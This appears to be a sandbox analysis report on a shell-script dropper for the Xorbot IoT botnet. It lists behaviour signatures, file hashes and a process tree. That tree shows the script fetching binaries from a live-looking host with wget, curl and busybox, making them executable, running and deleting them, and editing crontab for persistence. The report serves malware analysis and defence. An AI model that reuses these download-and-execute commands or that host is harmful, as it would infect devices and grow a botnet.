Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    157s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    23/02/2025, 08:22

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250223-j9r4taskx5
  • SHA256 bc38541818d1bb0e2680efabdadbf6af567a4ba4729fa6a7d956e20b7db9d260
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2083) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:648
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:650
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:652
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
        2⤵
        • Checks CPU configuration
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:755
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:757
      • /bin/chmod
        chmod 777 tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
        2⤵
        • File and Directory Permissions Modification
        PID:758
      • /tmp/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
        ./tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
        2⤵
          PID:759
        • /bin/rm
          rm tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
          2⤵
            PID:761
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:762
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:763
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
            2⤵
            • System Network Configuration Discovery
            PID:765
          • /bin/chmod
            chmod 777 E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
            2⤵
            • File and Directory Permissions Modification
            PID:766
          • /tmp/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
            ./E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
            2⤵
              PID:767
            • /bin/rm
              rm E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
              2⤵
                PID:769
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:770
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                2⤵
                • Checks CPU configuration
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:771
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:774
              • /bin/chmod
                chmod 777 1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                2⤵
                • File and Directory Permissions Modification
                PID:775
              • /tmp/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                ./1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                2⤵
                • Renames itself
                • Reads runtime system information
                PID:776
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:778
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:779
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:781
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:782
                    • /bin/rm
                      rm 1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                      2⤵
                        PID:784
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
                        2⤵
                        • System Network Configuration Discovery
                        PID:787

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                          • Path /tmp/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
                          • Size 141KB
                          • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
                          • Path /tmp/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
                          • Size 122KB
                          • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
                          • Path /tmp/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
                          • Size 98KB
                          • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tmp.sc1InZ
                          • Path /var/spool/cron/crontabs/tmp.sc1InZ
                          • Size 210B
                          • SHA256 bd23108e608d93534dc82b4e4408fd7ee48664da6bc74dd97e4235f63c69e060
                          • MD5 SHA1 SHA512
                          Submit Download